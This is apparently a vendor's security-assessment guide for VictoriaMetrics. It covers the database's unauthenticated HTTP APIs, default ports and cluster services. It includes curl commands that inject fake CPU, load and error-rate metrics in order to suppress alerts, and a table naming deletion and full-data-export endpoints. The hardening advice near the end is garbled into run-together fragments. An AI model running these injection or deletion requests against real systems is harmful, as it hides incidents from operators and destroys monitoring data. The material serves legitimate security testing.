VictoriaMetrics is a fast, scalable time series database and monitoring solution increasingly deployed as a Prometheus replacement. Like Prometheus, its default security posture lacks authentication: the HTTP API on port 8428 accepts metric ingestion via /api/v1/import and InfluxDB line protocol via /write without authentication — any network client can inject fabricated metrics to manipulate dashboards and alerting thresholds; the /api/v1/admin/tsdb/delete_series endpoint permanently deletes metric series without requiring credentials; the remote read API at /api/v1/query_range exposes all stored observability data including CPU, memory, network, error rates, and custom business metrics to unauthenticated clients; VictoriaMetrics cluster mode exposes vminsert (port 8480), vmselect (port 8481), and vmstorage (port 8482) as separate services all without authentication; and the metrics export endpoints reveal infrastructure topology including hostname labels, IP addresses, and internal service names. This guide covers systematic VictoriaMetrics security assessment.
# VictoriaMetrics default ports:
# Single-node: 8428 (HTTP API)
# Cluster mode:
# 8480 — vminsert (metric ingestion)
# 8481 — vmselect (queries)
# 8482 — vmstorage (internal)
# Check VictoriaMetrics version (no auth required)
curl -s http://victoriametrics.example.com:8428/api/v1/status/buildinfo 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('data',{}).get('version','unknown'))" 2>/dev/null
# Verify unauthenticated query access
curl -s "http://victoriametrics.example.com:8428/api/v1/query?query=up" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
results = data.get('data',{}).get('result',[])
print(f'Metrics accessible without auth: {len(results)} time series')
for r in results[:5]:
metric = r.get('metric',{})
print(f\" job={metric.get('job','?')} instance={metric.get('instance','?')}\")
" 2>/dev/null# VictoriaMetrics accepts metric writes without authentication
# This allows injecting false monitoring data to manipulate alerts and dashboards
# Inject a fake critical CPU metric via Prometheus remote_write format
# Using InfluxDB line protocol (supported by VictoriaMetrics)
TIMESTAMP=$(date +%s%N)
curl -s -X POST \
"http://victoriametrics.example.com:8428/write" \
-d "cpu_usage_percent,host=production-server-01,job=node value=0.01 ${TIMESTAMP}" 2>/dev/null
# Sends fake 0.01% CPU reading — would disable high-CPU alerts on that host
# Inject via JSON import
curl -s -X POST \
"http://victoriametrics.example.com:8428/api/v1/import" \
-H "Content-Type: application/json" \
-d '{"metric":{"__name__":"node_load1","instance":"prod-db-01:9100","job":"node"},"values":[0.01],"timestamps":['"$(date +%s%3N)"']}' 2>/dev/null
# For cluster mode: inject via vminsert
curl -s -X POST \
"http://vminsert.example.com:8480/insert/0/influx/write" \
-d "error_rate,service=payment-api value=0.0 $(date +%s%N)" 2>/dev/null
# Injects fake zero-error metrics to suppress alerting-httpAuth.username and -httpAuth.password flags to require credentials for all API access/api/v1/admin/ except from trusted internal IP ranges-tls, -tlsCertFile, and -tlsKeyFile flags to encrypt in-transit metrics data| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated metric injection via /write | POST /write with InfluxDB line protocol — injects false metrics without credentials | High |
| Admin API time series deletion without auth | POST /api/v1/admin/tsdb/delete_series?match[]=metric_name — permanently deletes monitoring data | High |
| Remote read exposes all observability data | GET /api/v1/query_range?query={__name__!=""} — exports all stored metrics without auth | High |
| Cluster vminsert accessible from unauthorized hosts | POST to vminsert:8480 from external IP — metric injection if no network restriction | High |
| Metric labels reveal infrastructure topology | Query {__name__=~".+"} — instance labels expose IP addresses and internal hostnames | Medium |
| Retention period manipulation via API | Admin API endpoints allow storage configuration changes without auth | Medium |
Ironimo tests VictoriaMetrics deployments for unauthenticated metric injection via InfluxDB line protocol or Prometheus remote_write endpoints, time series deletion via admin API without authentication, all stored observability data exposed through unauthenticated remote read API, VictoriaMetrics cluster mode vminsert/vmselect/vmstorage accessible from unauthorized network ranges, infrastructure topology disclosure via metric label enumeration, and VictoriaMetrics APIs operating over unencrypted HTTP.
Start free scan